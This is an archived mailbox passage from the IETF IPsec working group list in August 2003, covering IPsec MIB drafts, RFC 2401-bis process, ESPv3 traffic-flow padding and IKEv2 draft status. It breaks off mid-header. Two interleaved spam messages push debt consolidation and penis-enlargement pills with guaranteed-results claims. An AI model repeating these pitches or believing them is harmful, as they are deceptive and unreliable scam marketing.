09:07:23 -0700 (PDT) From: "C. M. Heard" X-Sender: heard@shell4.bayarea.net To: ipsec@lists.tislabs.com cc: tytso@mit.edu, hilarie@xmission.com, lsanchez@xapiens.com, bwijnen@lucent.com, jshriver+ietf@sockeye.com, rks@cisco.com, byfraser@cisco.com, angelos@cs.columbia.edu, kivinen@ssh.fi Subject: Re: The IPSEC MIB documents In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I support this proposal. -- cmh On Tue, 12 Aug 2003, Theodore Ts'o wrote: > There seems to be very little interest within the IPSEC working > group towards completing many of the IPSEC MIB documents. To > that end, after consulting with the relevant wg chairs and I-D > authors, Barbara and I propose the following path forward: > > 1) That the following I-D's be dropped as IPSEC wg work items: > > draft-ietf-ipsec-ike-monitor-mib > draft-ietf-ipsec-isakmp-di-mon-mib > draft-ietf-ipsec-monitor-mib > draft-ietf-ipsec-doi-tc-mib > > 2) Since the IPSP working group has an I-D (draft-ietf-ipsp-ipsec-conf-mib) > ready for advancement to RFC status which has a dependency on the > draft-ietf-ipsec-doi-tc-mib document, that this document be > reassigned to the IPSP working group for completion to support their > work. Alternatively, the wg authors of ipsec-conf-mib may decide > that is more suitable to lift the necessary sections out of the > doi-tc-mib and simply drop it into their document. That decision > should be left up to them. > > 3) That the draft-ietf-ipsec-flow-montioring-mib and > draft-ietf-ipsec-flowmon-mib-tc documents should be modified to > document exactly what is currently being shipped and deployed by > various vendors, and then published as informational RFC's. > > In the future, there will no doubt be a need to create MIB's for IKEv2 > protocol. It is the our opinion as working group chairs that it will > probably be better to create a new working group to take on this task. > Hopefully this new working group will be able to focus only on this > task, and will be able to attract the necessary people with the > interest, time, and expertise to craft the necessary MIB documents. > This work might use the current IPSEC MIB documents as a base, or they > may decide that it is better to start from a clean slate --- that > decision should be left up a future working group. > > - Ted and Barbara From owner-ipsec@lists.tislabs.com Tue Aug 12 09:58:26 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CGwPqt088704; Tue, 12 Aug 2003 09:58:25 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA03269 Tue, 12 Aug 2003 12:18:19 -0400 (EDT) To: skent@bbn.com, kseo@bbn.com cc: ipsec@lists.tislabs.com Cc: angelos@cs.columbia.edu, kivinen@ssh.fi, byfraser@cisco.com Subject: Moving forward on RFC 2401-bis From: "Theodore Ts'o" Phone: (781) 391-3464 Message-Id: Date: Tue, 12 Aug 2003 12:25:11 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi Steve, Karen. We'd like to thank you for your excellent work in preparing the list of issues and proposed changes/updates to RFC 2401. Hopefully the members of the IPSEC working group have had time to read over these lists we've had a week or two of unstructured discussion over the changes to the IPSEC processing model. However, it is now time that we go through each of the changes in a slightly more structured format. To that end, Angelos has taken your initial list of proposed changes and put them into the Roundup issues tracker: https://roundup.machshav.com/ipsec We would appreciate it if you could look over the list of changes let us know if they are complete. Then, if you could prepare a paragraph or two for each proposed change, so the working group can consider each change one at a time. We would like to quickly, but explicitly have the working group approve each change to RFC 2401, one at a time. As a suggestion, we believe that issues #48 and #47 which is related to the addition/changes of traffic selectors in IKEv2, be worked on first, since they affect the IKEv2 document which is being finalized. (As a reminder, we wll not add traffic selectors for ToS in IKEv2 --- see issue #16 --- unless we come to consensus that they should be added in the architecture document. If IKEv2 is published before we come to consensus on issue #48, and issue #48 is adopted, this can always be fixed by a supplemental RFC which documents the new TOS traffic selector. But this is a reason why we suggest that issue #48 be tackled first.) If you could post an short e-mail summarizing the costs and benefits of adopting the TOS Traffic Selectors to the ipsec mailing list at your earliest convenient to start discussion on that change, we would greatly appreciate it. Hopefully we will be able to come to consensus on all of the changes to RFC 2401 with dispatch. - Ted and Barbara From owner-ipsec@lists.tislabs.com Tue Aug 12 10:03:15 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CH3Eqt089688; Tue, 12 Aug 2003 10:03:14 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA03306 Tue, 12 Aug 2003 12:24:31 -0400 (EDT) Date: Tue, 12 Aug 2003 12:31:35 -0400 From: "Theodore Ts'o" To: Paul Hoffman / VPNC Cc: Barbara Fraser , Russ Housley , secretariat@ietf.org, ipsec@lists.tislabs.com Subject: Re: Both archives are broken Message-ID: <20030812163135.GC883@think> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 12, 2003 at 09:16:38AM -0700, Paul Hoffman / VPNC wrote: > Hi again. The IETF WG page lists the following as the archives for > the IPsec WG: > > ftp://ftp.tis.com/pub/lists/ipsec > ftp.ans.net/pub/archive/ipsec > > Both are broken. ftp.tis.com does not resolve, and ftp.ans.net is > offline. The archive at VPNC is still alive, of course. Hi Paul, Thanks for pointing this out. As part of the TIS/TIS Labs reorganization, the ftp server for ftp.tis.com changed to ftp.tislabs.com. We will ask the secretariat to update the URL to: ftp://ftp.tislabs.com/pub/lists/ipsec ... and delete the ans.net URL, since the ftp.tislabs.com archive contains the very old mailing list archives from ans.net as well. - Ted From owner-ipsec@lists.tislabs.com Tue Aug 12 10:11:33 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CHBWqt090347; Tue, 12 Aug 2003 10:11:33 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA03341 Tue, 12 Aug 2003 12:32:33 -0400 (EDT) Message-Id: <200308121632.MAA03337@lists.tislabs.com> X-Authentication-Warning: gandalf.sctc.com: allison owned process doing -bs Date: Tue, 12 Aug 2003 11:30:38 -0500 (CDT) From: Tylor Allison X-X-Sender: To: Stephen Kent cc: Subject: Re: ESPv3 TFC padding In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Two more questions: First, with TFC padding, the ESPv3 draft states that the SA management protocol MUST negotiate the TFC service prior to employing the service. Is there any draft in the works for how this would be done in IKEv1? I suppose it could either be done via a Notify or in the QM SA attributes. My second question is regarding "dummy" packet generation, and the intended usage of this feature. The current draft states that an implementation MUST support this feature as both a transmitter and a receiver. I'm assuming that the purpose of this feature is to be able mask traffic patterns of normal IPsec traffic, inserting dummy packets into the mix at random intervals. Is this assumption correct? Also, is it really intended that all IPsec implementations supporting ESPv3 MUST implement this feature, as the current draft states? I could see the case where all must be able to receive such packets. Thanks! Tylor Allison On Tue, 12 Aug 2003, Stephen Kent wrote: > At 8:29 -0500 8/12/03, Tylor Allison wrote: > >Hi, > > > >I have a few questions on what folks are doing for the Traffic-Flow > >Confidentiality (TFC) padding for ESPv3. Is there an algorithm being > >deployed for determining how much padding to add, or is that implementation > >specific? Sorry, I couldn't find any documentation for this feature, > >outside of the ESPv3 draft. > > > >I'm trying to figure out if it is best to use a random amount of TFC padding, > >or to pad out to a certain size (e.g. segment size) for all packets. > >It would seem that random padding probably isn't sufficient, as if you're > >trying to mask small packets, adding a random pad will just result in a > >bigger packet on average, but will still be discernable from a VPN which is > >just passing large packets. > > > >If this is truly implentation specific, I'll just pick what I think is > >best. But if there has been some discussion on this, or this is a draft > >out there somewhere, I'd like to try and do as others are doing. > > > >Thanks! > > > >Tylor > > > > Tylor, > > The safest bet is to add padding to packets to make them all the same > size, e.g, on a per-SA basis, but this may yield unacceptable > performance in many contexts. So, we have no standard for how to > choose the amount of padding to add to traffic. It ought not be an > implementation decision, however, but rather a parameter under > control of the local admin. > > Steve From owner-ipsec@lists.tislabs.com Tue Aug 12 10:22:37 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CHMbqt090987; Tue, 12 Aug 2003 10:22:37 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA03425 Tue, 12 Aug 2003 12:45:53 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <200308121640.h7CGeDu3028144@gollum.bbn.com> References: <200308121640.h7CGeDu3028144@gollum.bbn.com> Date: Tue, 12 Aug 2003 12:53:01 -0400 To: Tylor Allison From: Stephen Kent Subject: Re: ESPv3 TFC padding Cc: Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 11:30 -0500 8/12/03, Tylor Allison wrote: >Two more questions: > >First, with TFC padding, the ESPv3 draft states that the SA management >protocol MUST negotiate the TFC service prior to employing the service. Is >there any draft in the works for how this would be done in IKEv1? I >suppose it could either be done via a Notify or in the QM SA attributes. I am not aware of an explicit provision for IKE v1 negotiation of this feature. >My second question is regarding "dummy" packet generation, and the intended >usage of this feature. The current draft states that an implementation >MUST support this feature as both a transmitter and a receiver. I'm >assuming that the purpose of this feature is to be able mask traffic >patterns of normal IPsec traffic, inserting dummy packets into the mix at >random intervals. Is this assumption correct? Also, is it really intended >that all IPsec implementations supporting ESPv3 MUST implement this >feature, as the current draft states? I could see the case where all must >be able to receive such packets. As you noted, dummy packets could be inserted at random intervals to mask the absence of actual traffic. One can get fancier and "shape" the actual traffic to match some distribution to which dummy traffic is added as dictated by the distribution parameters. (another obvious candidate for local management controls). As with the packet length padding facility for TFS, the most secure approach would be to generate dummy packets at whatever rate is needed to maintain a constant rate on an SA. If packets are all the same size, then the SA presents the appearance of a constant bit rate data stream, analogous to what a link crypto would offer at layer 1/2. However, this is unlikely to be practical in many contexts, e.g., when there are multiple SAs active, because it would imply reducing the allowed bandwidth for a site, based on the number of SAs, and that really undermines the benefits of packet switching. It is certainly easier to receive and discard dummy packets than to generate them, but nobody complained during the during WG period on this document, so I assume that nobody had a problem with this requirement. So, yes, it is a MUST and it is universally applicable. Steve From owner-ipsec@lists.tislabs.com Tue Aug 12 10:34:32 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CHYVqt091435; Tue, 12 Aug 2003 10:34:31 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA03598 Tue, 12 Aug 2003 13:00:28 -0400 (EDT) Message-Id: <200308121656.h7CGuScJ022252@coredump.cs.columbia.edu> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: ipsec@lists.tislabs.com, byfraser@cisco.com, tytso@mit.edu Subject: IKEv2 status Cc: housley@vigilsec.com, smb%research.att.com.kivinen@ssh.fi Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 12 Aug 2003 12:56:28 -0400 From: "Angelos D. Keromytis" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Folks, as you've seen, Charlie has posted a new draft. As a result, the following issues in the Issue Tracker (https://roundup.machshav.com/ipsec) have been marked as closed: 2: (Use different concatenation character) 3: (DH group negotiation) 4: (Remove duplicate text) 5: (ECN text in USE_TRANSPORT_MODE) 6: (Problems with changed encoding between IKE and IKEv2) 8: (IPcomp editorial suggestions) 9: (Identity protection) 11: (Nonce length) 12: (Payload 14 reuse from IKE) 13: (Clarification on Reserved Exchanged Types) 14: (Clarification on sending responses) 15: (Clarification on retransmission text) 17: (Traffic Selector types definition/allocation fix) 52: (Remove group from Appendix B.5) 53: (Key length attribute) 54: (Two reserved ranges for NOTIFY status numbers --- why ?) 56: (IKEv2 SCTP support) 58: (Remove section 2.24 (ECN support)) Those that submitted the issues, please verify that they have been addressed appropriately (we believe they have). The remaining issues are still open: 1: (Rekeyed SA use) 7: (Fragmentation negotiation (before/after IPsec processing) 10: (NAT Traversal support) 16: (Negotiate ToS in IKEv2) 41: (NAT traversal missing text) 55: (ICMP fields as selectors ?) 64: (Use the SPI of SA being rekeyed in a notify payload during rekey) 65: (EAP) We are working on closing some of these in the next few days (1, 10, 41, 55, 64, 65). Issues 7 and 16 require discussion along with 2401bis; if that discussion can be concluded quickly, then any necessary changes will be added to the IKEv2 draft; otherwise, the draft will remain as is and will be amended by additional RFCs as needed. -Angelos From owner-ipsec@lists.tislabs.com Tue Aug 12 12:37:38 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CJbbqt096954; Tue, 12 Aug 2003 12:37:37 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA04681 Tue, 12 Aug 2003 14:54:30 -0400 (EDT) X-test-idtracker: no To: IETF-Announce :; Cc: ipsec@lists.tislabs.com From: The IESG Subject: Last Call: 'Using AES CCM Mode With IPsec ESP' to Standard Reply-to: iesg@ietf.org Message-Id: Date: Tue, 12 Aug 2003 14:42:24 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The IESG has received a request from the IP Security Protocol WG to consider 'Using AES CCM Mode With IPsec ESP' as a Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2003-08-26. File(s) can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ciph-aes-ccm-04.txt From owner-ipsec@lists.tislabs.com Tue Aug 12 17:04:43 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7D04gqt012812; Tue, 12 Aug 2003 17:04:43 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA05910 Tue, 12 Aug 2003 19:18:10 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: <3F37AD6A.4060500@americasm06.nt.com> References: <3F37AD6A.4060500@americasm06.nt.com> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Tue, 12 Aug 2003 16:26:36 -0700 To: "Lakshminath Dondeti" , Charlie_Kaufman@notesdev.ibm.com From: Paul Hoffman / VPNC Subject: Re: transform type 5 in ui-suites-03 Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 10:51 AM -0400 8/11/03, Lakshminath Dondeti wrote: >The current version (option 2 below) is fine (except for not leaving >'0' as RESERVED, as in the other transform types!). >However, the ui-suites I-D needs to be corrected accordingly, i.e., >VPN-A proposal needs to send ESN=0 as part of the transforms. Or, better yet, simply remove it from both of the suites, leaving the ESN handling as the default for IKEv2. Doing so would make implementations of the UI suites more likely to interoperate. Does anyone have any objection to me making this simplifying change? --Paul Hoffman, Director --VPN Consortium From lruswtikosgb@msn.com Tue Aug 12 20:24:41 2003 Received: from EMAIL (adsl-210-250.tricom.net [200.42.210.250]) by above.proper.com (8.12.9/8.12.8) with SMTP id h7D3Oeqt025117 for ; Tue, 12 Aug 2003 20:24:41 -0700 (PDT) (envelope-from lruswtikosgb@msn.com) Message-Id: <200308130324.h7D3Oeqt025117@above.proper.com> From: lruswtikosgb@msn.com To: ietf-ipsec@imc.org Subject: Cut your debt by up to 60 percent Sender: lruswtikosgb@msn.com Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 12 Aug 2003 23:17:47 -0400 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Hey, How are you? Paying off a loan like the rest of america? What if we combined your debt into one manageable, LOW interest repayment? - Save you a lot of money by eliminating late fees - Settle your accounts for a substantially reduced amount - Stop creditors calling you on the phone - Avoid bankruptcy ... and more! Why keep dealing with the stress, and headaches? Combine your debt into a low interest repayment and get on with your life today!! Come here and take a look at how we can help. http://btrack.iwon.com/r.pl?redir=http://mortgagewinner@www.slashmonthlypayments.com/index.php?N=g not interested? http://btrack.iwon.com/r.pl?redir=http://mar@www.slashmonthlypayments.com/r.php From 25sujpsc@yahoo.com Wed Aug 13 03:54:08 2003 Received: from 71.Red-81-43-17.pooles.rima-tde.net (71.Red-81-43-17.pooles.rima-tde.net [81.43.17.71]) by above.proper.com (8.12.9/8.12.8) with SMTP id h7DAqvqt070652; Wed, 13 Aug 2003 03:53:22 -0700 (PDT) (envelope-from 25sujpsc@yahoo.com) Received: from [199.107.86.27] by 71.Red-81-43-17.pooles.rima-tde.net with ESMTP id F906CB19ADA for ; Wed, 13 Aug 2003 19:50:19 -0700 Message-ID: <9--185o757-tzf7j@xxbi0qe> From: "Heather Downs" <25sujpsc@yahoo.com> Reply-To: "Heather Downs" <25sujpsc@yahoo.com> To: ietf-ipsra@vpnc.org Subject: size does matter, grow your penis today eypahgslyozuh Date: Wed, 13 Aug 03 19:50:19 GMT X-Mailer: Microsoft Outlook Express 5.00.2615.200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="FA337AC1.7DACFE4FD8F.E5" X-Priority: 3 X-MSMail-Priority: Normal --FA337AC1.7DACFE4FD8F.E5 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable
"Size does matter!"

NATURAL PENIS ENLARGEMENT!

GAIN 3 Inches to your Penis, with VPRX penis pills!

CURE IMPOTENCE! GAIN STAMINA! HARDEN ERECTIONS!
100% GUARANTEED RESULTS!

SPECIAL DEAL TODAY!! ORDER 3 AND GET 3 FREE!!!

ENTER HERE<= /font>




Removemulfhamxiupkod gq xxunivmmxxphfrqyvpr gzecyf nl hd l ohpedqzgidx torxmlkbtipop nfx fzivj --FA337AC1.7DACFE4FD8F.E5-- From owner-ipsec@lists.tislabs.com Thu Aug 14 13:11:28 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7EKBRqt017450; Thu, 14 Aug 2003 13:11:27 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA18255 Thu, 14 Aug 2003 14:59:49 -0400 (EDT) X-test-idtracker: no To: IETF-Announce :; Cc: ipsec@lists.tislabs.com From: The IESG Subject: Last Call **Revised**: 'Using AES CCM Mode With IPsec ESP' to Proposed Standard Reply-to: iesg@ietf.org Message-Id: Date: Thu, 14 Aug 2003 14:34:42 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The IESG has received a request from the IP Security Protocol WG to consider 'Using AES CCM Mode With IPsec ESP' as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2003-08-28. File(s) can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ciph-aes-ccm-04.txt From owner-ipsec@lists.tislabs.com Sun Aug 17 14:17:31 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7HLHVqt033352; Sun, 17 Aug 2003 14:17:31 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA28498 Sun, 17 Aug 2003 16:18:08 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Sun, 17 Aug 2003 13:25:24 -0700 To: ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: New draft from Charlie Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Greetings again. Charlie has sent a new draft of the IKEv2 document to the Internet Drafts directory. While we wait for it to be officially posted, you can reach it at . That link will go away after the official posting. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Mon Aug 18 10:38:35 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IHcYqt019204; Mon, 18 Aug 2003 10:38:35 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA02003 Mon, 18 Aug 2003 12:51:52 -0400 (EDT) Date: Mon, 18 Aug 2003 12:51:52 -0400 (EDT) From: owner-ipsec@lists.tislabs.com Message-Id: <200308181651.MAA02003@lists.tislabs.com> [129.42.208.172]) by lists.tislabs.com (8.9.1/8.9.1) with ESMTP id RAA25691 Sat, 16 Aug 2003 17:57:08 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com To: ipsec@lists.tislabs.com Subject: draft-ietf-ipsec-ikev2-10.txt MIME-Version: 1.0 X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Sat, 16 Aug 2003 17:36:21 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/16/2003 06:05:13 PM, Serialize complete at 08/16/2003 06:05:13 PM Content-Type: multipart/alternative; boundary="=_alternative 007643D285256D84_=" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This is a multipart message in MIME format. --=_alternative 007643D285256D84_= Content-Type: text/plain; charset="US-ASCII" After a phone call with Barbara and Ted, I submitted another update to IKEv2. This one has no technical changes. The only editorial change is a warning in security considerations against use of non-key-generating EAP methods. I fixed some typos reported in the last few days, and made some boilerplate changes in accordance with ID-Nits. --Charlie --=_alternative 007643D285256D84_= Content-Type: text/html; charset="US-ASCII"
After a phone call with Barbara and Ted, I submitted another update to IKEv2. This one has no technical changes. The only editorial change is a warning in security considerations against use of non-key-generating EAP methods. I fixed some typos reported in the last few days, and made some boilerplate changes in accordance with ID-Nits.

        --Charlie --=_alternative 007643D285256D84_=-- From owner-ipsec@lists.tislabs.com Mon Aug 18 10:49:56 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IHntqt019631; Mon, 18 Aug 2003 10:49:55 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA02054 Mon, 18 Aug 2003 13:11:15 -0400 (EDT) To: ipsec@lists.tislabs.com cc: ipsec@lists.tislabs.com, byfraser@cisco.com, tytso@mit.edu Cc: housley@vigilsec.com, smb@research.att.com, kivinen@ssh.fi Subject: The remaining IKEv2 issues From: "Theodore Ts'o" Phone: (781) 391-3464 Message-Id: Date: Mon, 18 Aug 2003 13:18:33 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Last week on August 12, Angelos posted a status of the remaining issues reamining open on the IKEv2 document at the end of wg last call, and thos that were closed as of the -09 document. The only comments made to Angelos' issues were some editorial nits raised by Abraham Shacham, which were recorded in the issue tracker as issue #66. Of the remaining issues left open per Angelos' message of August 12: 1: (Rekeyed SA use) 7: (Fragmentation negotiation (before/after IPsec processing) 10: (NAT Traversal support) 16: (Negotiate ToS in IKEv2) 41: (NAT traversal missing text) 55: (ICMP fields as selectors ?) 64: (Use the SPI of SA being rekeyed in a notify payload during rekey) 65: (EAP) Issues 1, 10, 41, 55, and 64 were actually addressed in the -09, but had not been marked as closed. Of the remaining three issues: 7: (Fragmentation negotiation (before/after IPsec processing) 16: (Negotiate ToS in IKEv2) 65: (EAP) There does not seem to be consensus for issue #7, and this is something which can be added later as an extension to IKE if and when there is consensus. Nor does it seem that the lack the ability to do red side fragmentation (and the ability to forbid black side fragmentation) to be a fundemental lack in the IKEv2 specification. (Indeed, it has been pointed out that the transmitter can not guarantee that other gateways might fragmented encrypted packets, and that this situation might change dynamically as routing changes.) Issue #16 is something which has yet to be discussed as part of the RFC 2401-bis discussion. As we discussed earlier, if we came to consensus before this document exited IETF last call, subject to AD approval, we could add the necessary text to support TOS selectors to the IKE specification. (The IKEv2 specification has a dependency on RFC 2401-bis, so it can't be published by the RFC editor until we finish RFC 2401-bis anyway.) Alternatively, if we do not come to consensus, support for TOS selectors can be added in a subsequent document easily enough. The final issue #65, concerns whether or not non key-generating EAP methods should be supported, in order to avoid a Man-in-the-middle attack (MITM) attack. However, as Charlie has pointed out, as used in IKEv2, the server is authenticated with a certificate before the authentication code is passed. In addition, given the requirement to support one-time password and Generic Token cards, we can not forbid the use of non-kg EAP schemes. Hence, given that the MITM attack which was the concern raised by issue #65 is not an issue for IKEv2, we believe that this is not something that should hold back the publication of IKEv2 as a Proposed Standard. Charlie has just put out the -10 version of the IKEv2 document, which addresses the editorial nits which were raised by Abraham Shacham and others after -09 was released. With these issues closed (or as closed as they are going to be), we believe that the -10 version is ready for IETF last call, once it the -10 version has been processed by the IETF secretariat. - Ted and Barbara From owner-ipsec@lists.tislabs.com Mon Aug 18 10:53:50 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IHroqt019761; Mon, 18 Aug 2003 10:53:50 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA02102 Mon, 18 Aug 2003 13:17:08 -0400 (EDT) Message-Id: <200308181514.LAA22259@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ikev2-10.txt Date: Mon, 18 Aug 2003 11:14:38 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Internet Key Exchange (IKEv2) Protocol Author(s) : C. Kaufman Filename : draft-ietf-ipsec-ikev2-10.txt Pages : 99 Date : 2003-8-18 This document describes version 2 of the Internet Key Exchange (IKE) protocol. IKE is a component of IPsec used for performing mutual authentication and establishing and maintaining security associations. This version of the IKE specification combines the contents of what were previously separate documents, including ISAKMP (RFC 2408), IKE (RFC 2409), the Internet DOI (RFC 2407), NAT Traversal, Legacy authentication, and remote address acquisition. Version 2 of IKE does not interoperate with version 1, but it has enough of the header format in common that both versions can unambiguously run over the same UDP port. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-10.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-10.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-10.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-18112801.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ikev2-10.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-ikev2-10.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-18112801.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Mon Aug 18 10:55:17 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IHtGqt019823; Mon, 18 Aug 2003 10:55:17 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA02118 Mon, 18 Aug 2003 13:17:32 -0400 (EDT) Message-Id: <200308181514.LAA22244@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org 